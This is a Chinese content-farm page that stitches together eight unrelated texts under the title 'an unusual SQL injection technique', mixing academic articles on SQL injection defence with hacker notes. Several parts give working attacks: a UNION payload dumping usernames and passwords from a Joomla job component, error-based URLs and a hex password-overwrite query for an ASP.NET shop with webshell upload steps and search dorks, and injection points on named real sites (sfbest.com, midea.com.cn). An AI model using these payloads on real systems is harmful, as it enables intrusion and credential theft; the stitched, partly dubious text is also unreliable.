一个另类的SQL注入技术

2024-10-25 版权声明 我要投稿

一个另类的SQL注入技术(通用8篇)

一个另类的SQL注入技术 篇1

注入点地址:home.sfbest.com/order/viewproduct/id/56455/

情况1:整站没仔细看,但是担心别处也有注入,还是自行排查一遍吧,

情况2:昨天下单后看到这个伪静态的连接,输入

home.sfbest.com/order/viewproduct/id/56455%20and%201=1/ 正常

home.sfbest.com/order/viewproduct/id/56455%20and%201=2/ error

太明显的注入了,工具跑,看下昨天跑的日志吧

神码都有,确实充满了诱惑,

别说你自己跑不出来,带上用户cookie,登录状态跑!商城唉,很多好东西,申请20分不算多吧。

修复方案:

一个另类的SQL注入技术 篇2

关键词:SQL注入,数据库,权限,密码

1 引言

ASP编程简便易学, 初学者很容易掌握。在一段不长的时间里, 就已经能够编出比较完美的动态网站, 但在安全性方面, 新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描, 就能发现许多ASP网站存在SQL注入漏洞, 高校内部机构的一些网站这种漏洞就更普遍了, 可能这是因为这些网站大都是一些学生做的缘故吧, 虽然个个都很聪明, 可是毕竟没有经验, 而且处于学习中, 难免存在漏洞了。如何有效地防范措施SQL注入呢?SQL注入一般存在于形如:HTTP://xxx.xxx xxx/abc.asp?id=XX等带有参数的ASP动态网页中, 有时一个动态网页中可能只有一个参数, 有时可能有N个参数, 有时是整型参数, 有时是字符串型参数, 不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库, 那么就有可能存在SQL注入。如果ASP程序员没有安全意识, 不进行必要的字符过滤, 存在SQL注入的可能性就非常大。

2 什么是SQL注入

利用现有应用程序, 将恶意的SQL命令注入到后台数据库引擎执行的能力, 这是SQL注入的标准释义。它一般通过互联网的输入区域, 插入SQL meta-characters和指令, 操纵执行后端的SQL查询的技术。这些攻击主要针对其他组织的WEB服务器。CSS攻击通过在URL里插入script标签, 然后诱导信任它们的用户点击它们, 确保恶意Javascript代码在受害人的机器上运行。这些攻击利用了用户和服务器之间的信任关系, 事实上服务器没有对输入、输出进行检测, 从而未拒绝javascript代码。

SQL注入是从正常的WWW端口访问, 而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报, 如果管理员没查看IIS日志的习惯, 可能被入侵很长时间都不会发觉。但是, SQL注入的手法相当灵活, 在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析, 构造巧妙的SQL语句, 从而成功获取想要的数据。

3 SQL注入的原理及分类

3.1 SQL-Injection的原理

SQL是一种用于关系数据库的结构化查询语言。它分为许多种, 但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。SQL语言可以修改数据库结构和操作数据库内容。当一个攻击者能够通过往查询中插入一系列的SQL操作数据写入到应用程序中去, 并对数据库实施了查询, 这时就已经构成了SQL-Injection。

3.2 SQL-Injection的分类

由于SQL-injection攻击出要发生在B/S结构的应用程序上, 而这些程序大部分都属于互联网的web站点, 在这种情况下SQL-Injection同样需要遵循HTTP协议, 形成了两种分类:POST方式注入和GET方式注入。

4 SQL-Injection的注入方法

4.1 常规注入方法

SQL注入攻击本身就是一个常规性的攻击, 它可以允许一些不法用户检索你的数据, 改变服务器的设置, 或者在你不小心的时候黑掉你的服务器。

4.2 旁注

顾名思义就是从旁注入, 也就是利用主机上面的一个虚拟站点进行渗透, 此类手法多出现与虚拟主机站点。

4.3 盲注

通过构造特殊的SQL语句, 在没有返回错误信息的情况下进行注入。

4.4 跨站注入

攻击者利用程序对用户输入过滤及判断的不足, 写入或插入可以显示在页面上对其他用户造成影响的代码。跨站注入的高级攻击就属于这种攻击。

5 SQL注入的过程

SQL注入利用的是正常的HTTP服务端口, 表面上看来和正常的web访问没有区别, 隐蔽性极强, 不易被发现。

第一步:判断Web环境是否可以SQL注入。如果URL仅是对网页的访问, 不存在SQL注入问题, 如:http://news.xxx.com.cn162414739931.shtml就是普通的网页访问。只有对数据库进行动态查询的业务才可能存在SQL注入, 如:http://www.google.cn/webhp?id=18, 其中?id=18表示数据库查询变量, 这种语句会在数据库中执行, 因此可能会给数据库带来威胁。

第二步:寻找SQL注入点。完成上一步的判断后, 就要寻找可利用的注入漏洞, 通过输入一些特殊语句, 可以根据浏览器返回信息, 判断数据库类型, 从而构建数据库查询语句找到注入点。

第三步:猜解用户名和密码。数据库中存放的表名、字段名都是有规律可言的。通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度, 以及内容。这个猜测过程可以通过网上大量注入工具快速实现, 并借助破解网站轻易破译用户密码。

第四步:寻找WEB管理后台入口。通常WEB后台管理的界面不面向普通用户开放, 要寻找到后台的登陆路径, 可以利用扫描工具快速搜索到可能的登陆地址, 依次进行尝试, 就可以试出管理台的入口地址。

第五步:入侵和破坏。成功登陆后台管理后, 接下来就可以任意进行破坏行为, 如篡改网页、上传木马、修改、泄漏用户信息等, 并进一步入侵数据库服务器。

6 SQL注入的危害

SQL注入的主要危害包括:1) 未经授权状况下操作数据库中的数据;2) 恶意篡改网页内容;3) 私自添加系统帐号或者是数据库使用者帐号;4) 网页挂木马。

无论你有多强大的防火墙规则设置或者非常勤于补漏的修补机制, 如果你的网络应用程序开发者没有遵循安全代码进行开发, 攻击者都能进入你的系统。SQL注入意味着数据库被攻破, 入侵者得到当前数据库权限的同时, 也获得了整个数据库服务器的管理权限, 入侵者可通过数据库管理权限得到系统权限, 并为所欲为。

7 防止SQL注入的方法

很多新手从网上下载SQL通用防注入系统的程序, 在需要防范注入的页面头部用来防止别人进行手动注入测试。可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟, 你的管理员账号及密码就会被分析出来。对于注入分析器的防范, 首先我们要知道SQL注入分析器是如何工作的。在操作过程中, 发现软件并不是冲着“admin”管理员账号去的, 而是冲着权限 (如flag=1) 去的。这样一来, 无论你的管理员账号怎么变都无法逃过检测。

一般的做法是注册两个账号, 一个是普通的管理员账号, 一个是防止注入的账号, 理由是如果找一个权限最大的账号制造假象, 吸引软件的检测, 而这个账号里的内容是大于千字以上的中文字符, 就会使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。具体做法如下:

1) 对表结构进行修改。将管理员的账号字段的数据类型进行修改, 文本型改成最大字段255 (其实也够了, 如果还想做得再大点, 可以选择备注型) , 密码的字段也进行相同设置。

2) 对表进行修改。设置管理员权限的账号放在ID1, 并输入大量中文字符 (最好大于100个字) 。

3) 把真正的管理员密码放在ID2后的任何一个位置 (如放在ID549上) 。

4) 在管理员登录的页面文件中写入字符限制。

我们通过上面的四步完成了对数据库的修改, 就算对方使用这个有上千字符的账号密码也会被挡住的, 而真正的密码则可以不受限制。

参考文献

[1]潘爱民.计算机网络[M].4版.北京:清华大学出版社, 2004.77-81.

[2]谢希仁.计算机网络[M].5版.北京:清华大学出版社, 2008.101-108.

如何防止sql注入攻击网站 篇3

第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试,

如何防止sql注入攻击网站

。可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机,下面我们就来修改数据库吧。

1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

我们通过上面的三步完成了对数据库的修改。

一个另类的SQL注入技术 篇4

server/index.php?option=com_job&task=showMoreUser&id=[SQL]

[ Exploit ]

index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--

[ Demo ]

www.site.com/index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--

一个另类的SQL注入技术 篇5

暴管理员用户名:/commond.aspx?id=1869 and 1=(select top 1 [name] from web_admin)--

暴管理员密 码:/commond.aspx?id=1869 and 1=(select top 1 [pass] from web_admin)--

过滤了单引号.只能把字符串转化成16进制的了

更新管理员密码:update web_admin set

pass=0x310046004100450037004200450041004300460035003600330041003200430042

004400450037004400450041003600340042003700430037004300

weblogin/System_Config_Operate.aspx

后台上传水印.可以直接上传大马.

拿webshell

切记.千万不要传ASPX的马......不然不会成功的.

你可以先传ASP的马..再传ASPX马.

马的路径为:uploadFile/Picture/木马.asp

关键字:services.aspxid=

inurl:scoreindex.aspx

默认后台地址:weblogin/Login.aspx

/weblogin/index.aspx

复制这段代码 域名+代码

cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 [Name],[Pass] From [Web_Admin] Where 1=1 Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0 --

更新管理员密码:update web_admin setpass=0x310042004600410045003700420045004100430046003500360032003300410032004300420044

00450037004400450041003600340042003700430037004300

weblogin/System_Config_Operate.aspx

后台上传水印.可以直接上传大马.

后台拿webshell

切记.不要传ASPX的马......不然不会成功的.

你可以先传ASP的马..再传ASPX马.

马的路径为:uploadFile/Picture/木马.asp

文章作者:黑面小窝

一个另类的SQL注入技术 篇6

程序员在编写网页代码的时候, 常常缺少检验用户输入数据是否合法, 这样使整个网站应用存在较高的安全隐患。对于一些非法用户, 想要获得某些有用数据或者破坏数据, 采用的方法如下, 用户可以通过登录框提交一段数据库查询代码, 然后根据网页返回的结果, 来判断网站是否有数据漏洞, 最后通过查询代码获得某些他想得知的数据, 这就是所谓的SQL Injection, 即SQL注入[2]。

2 SQL注入的简单实例

有些网站登录验证不足, 我们一般在其登陆ID与密码输入处测试这些缺陷是否存在, 首先加入某些特殊的字符标记, 输入如:‘、and……之类的SQL标记。如果没有进行检测, 而直接运行SQL语句, 说明有机会进行注入。

当确认有机会进行注入的时候, 可以在输入框中加入or语句, 这样可能会有意外的收获。下面, 通过一个网页来测试。先来看login.asp文件以下内容为程序代码[1]:

我们在用户名位置输入[admin'or 5>1 or'], 在密码区输入[23]。看看查询语句会变成什么。

以下内容为程序中的查询语句:

sql=select*from user where name='admin'or 5>1 or''and pwd='23'

在程序语言中, or是一个逻辑运算符, 我们在对语句进行判断的时候, 不管是在or前面的语句或是在or后面的语句, 只要有一个是真, 则整个语句都是真, 后面的and就不再进行判断了, 这也说明, 只要我们前面的用户名输入正确, 那后面的密码也就不用验证了, 可以直接登录到网站系统内。

3 Sql注入的防范

从上面的例子可以看出, 如果网页开发者不注意过滤转义字符, 很有可能被SQL注入式攻击。那么该如何来防治呢?下面这些建议或许有一定的帮助[3]。

(1) 对数据进行有效性检测。比如登录名文本框内只能是字母和数字, 那么就要校验用户输入的数据是否合法, 比如分号、等号、括号和扩折号都必须要进行程序检查。另外, 还可以限制输入的数据长度, 如果文本框的输入长度限制在十个字符以内, 那么就大大减少了有害代码插入的几率。

(2) 将数据进行封装。在编程中使用session等语句将用户提交的信息封装起来, 不要用cookie, 这样避免非法用户从cookie中获取重要信息。

(3) 过滤掉敏感信息。不要在程序代码中出现用户名称和密码, 进行查询的数据应从文本框中获取, 提高网站的安全性。

(4) 单引号应过滤掉[4]。就像本文举的实例一样, 就是因为没有过滤掉用户的单引号, 才让非法用户绕过了密码验证, 实现了SQL注入攻击。所以, 过滤掉用户输入的单引号, 约束了他们的权限, 大大避免了遭受SQL注入攻击。

(5) 编程人员应指定网站错误返回页面。非法用户在提交攻击代码后, 会根据页面的提示信息来获取相关服务器应用信息, 比如开发者使用的数据库类型, 来进行下一次的攻击, 因此, 编程人员应该指定一个错误页面, 不包含任何有用的信息。

(6) 对信息进行加密。把数据库中的重要的信息进行加密处理, 比如存储口令信息的表和用户名称的表, 都可以以密文形式保存, 这样大大提高了数据的安全级别。

(7) 对数据库中的权限进行分离。在数据库中, 对用户的权限进行划分, 那么, 用户只能针对数据库中的授权数据进行查询、删除等操作, 防止非法用户对数据库进行访问, 提高了数据的安全性。

(8) 使用监视工具。对数据库使用监视工具是对付SQL注入攻击的强大工具, 当发生不太正常的数据访问问题时, 数据库管理员会收到警告, 从而会减轻大规模的SQL注入攻击的风险。

(9) 使用专业的漏洞扫描工具。可以使用专业的漏洞扫描工具, 专门用来查找网站中的SQL注入漏洞, 降低被SQL注入攻击的几率。

4 结语

sql注入在网上非常普遍, 许多网站都存在这个漏洞。本文对SQL注入攻击的方法、原理以及攻击进行了研究和总结, 并给出了常用的一些SQL注入攻击防范方法, 尽可能降低SQL注入所带来的网络安全风险。

参考文献

[1]邹健.中文版SQL Server2000开发与管理应用实例.2005.

[2]萧雍.SQL注入攻击常用函数与命令.黑客防线, 2004.

[3]张勇, 李力, 薛倩.Web环境下SQL注入攻击的检测与防御.现代电子技术, 2004.

一个另类的SQL注入技术 篇7

详细说明:

rdetoway.midea.com.cn/web/rdlogin.jsp 存在POST注入

抓包

POST /web/SubmitLogin.do HTTP/1.1Host: rdetoway.midea.com.cnUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/0101 Firefox/38.0 Iceweasel/38.3.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: rdetoway.midea.com.cn/web/rdlogin.jspCookie: CPCUserName=11; ch1=true; ch2=false; entcode=mdrd; lastloginuser=11; JSESSIONID=agli4RIEd83__xO14cConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 122value%28entcode1%29=mdrd&value%28entcode%29=mdrd&value%28userName%29=11&value%28password%29=111&Submit=%E7%99%BB+%E5%BD%95

POST注入

漏洞证明:

13397个

随便找了一个库

修复方案:

基于渗透测试的SQL注入的防范 篇8

一、SQL注入的影响

当攻击者们发现SQL注入漏洞后, 下一步就是利用这个漏洞拿到服务器的webshell。一旦服务的被攻陷, 服务器上的敏感数据以及公司乃至国家的利益都将受到不可估测的损失。基于一些不安全的部署, 有可能直接会爆出网站管理员的账号和密码, 直接就能对服务器的数据进行删除, 添加以及拷贝等操作。

表名猜解:and exists (select * from admin)

列名猜解:and exists (select pwd/password from admin)

猜解库中表的个数:order by任意数

爆用户名和密码: http://www.host.com/test.asp?id=100and 1=2 union select 1, 2, 3, 4, 5, 6…from admin

步步结束的过程, 就是利用sql注入漏洞攻陷服务器的过程。

二、SQL注入攻击防范

2.1编程防范

2.1.1对用户输入的数据进行过滤

对用户输入的数据进行过滤是防止SQL注入攻击的关键所在, 常见的过滤方式基础过滤, 二次过滤以及SQL通用防注入程序等多种方式。在SQL注入入侵前, 需要在可修改参数中提交“ ‘”, “and”等字符来判断是否存在SQL注入漏洞, 在进行SQL注入攻击时, 要提交包含“--”, “update”, “select”等特殊字符的SQL注入语句。例如图1所示。

基于一些不安全的部署, 有可能直接会爆出网站管理员的账号和密码, 直接就能对服务器的数据进行删除, 添加以及拷贝等操作。

2.1.2设置错误提示信息

SQL注入主要依据是IIS给出的ASP错误信息, 所以配置IIS和数据库用户权限, 可以防止SQL注入攻击。

2.2数据库防范

数据库文件是网站运行过程中的核心文件, 对数据库安全防范措施中, 最为直接和简单的办法就是对本机数据库文件的安全防范。修改数据库的下载地址, 在数据库属性栏里, 选择重定向到URL。修改数据库文件名。但是只是简单的对网站数据库文件的后缀进行更改, 是不能保证不被拖库的, 还需另外一种方法, 即在数据库文件名中添加# 符号, 如#123.asp。通过添加# 号就可以一定程度上防止数据库被下载。修改数据库离默认的sa用户空口令, 严格控制数据库用户的权限, 不轻易让用户对表有直接查询, 更改, 插入和删除的权限。修改不必要的扩展存储过程。

三、防范遇到的问题

此时我们按照上面的做法的确能够防范到一部分的攻击, 但是并不是所有的编程人员都能意识到安全问题, 并不是所有的输入都能被检测截断, 例如我们在waf上布置策略, 过滤关键字, 但是攻击者依然能够用空格, 分号, 大小写等绕过关键字的检测, 来绕过安全设备进入内网。

四、结束语

网络攻击利用这些存在的漏洞和安全缺陷对系统和资源进行攻击。如何更好的预防SQL注入, 广大的安全工作者们任重而道远。在这场攻击与防御的拉锯战中, 越来越多的攻击者与安全人员加入进来。在现在这个网络即世界的大环境下, 网络战争也是一触即发。如何做到保护小家到大家的安全, 都要我们不懈努力。

参考文献

[1]陈小兵, 张汉煜, 骆力明, 黄河.SQL注入攻击及其防范检测技术研究[J].计算机工程与应用, 2007, 43 (11) :150-152.

[2]SQL注入与防御:第二版/ (美) 克拉克 (Clarke, J.) 著

[3]https://technet.microsoft.com/en-us/library/cc512676.aspx

[4]徐陋, 姚国祥.SQL注入攻击全面预防办法及其应用[J].微计算机信息, 2006, 22 (3) :10-12.

上一篇:民营医院财务分析下一篇:知识产权局工作总结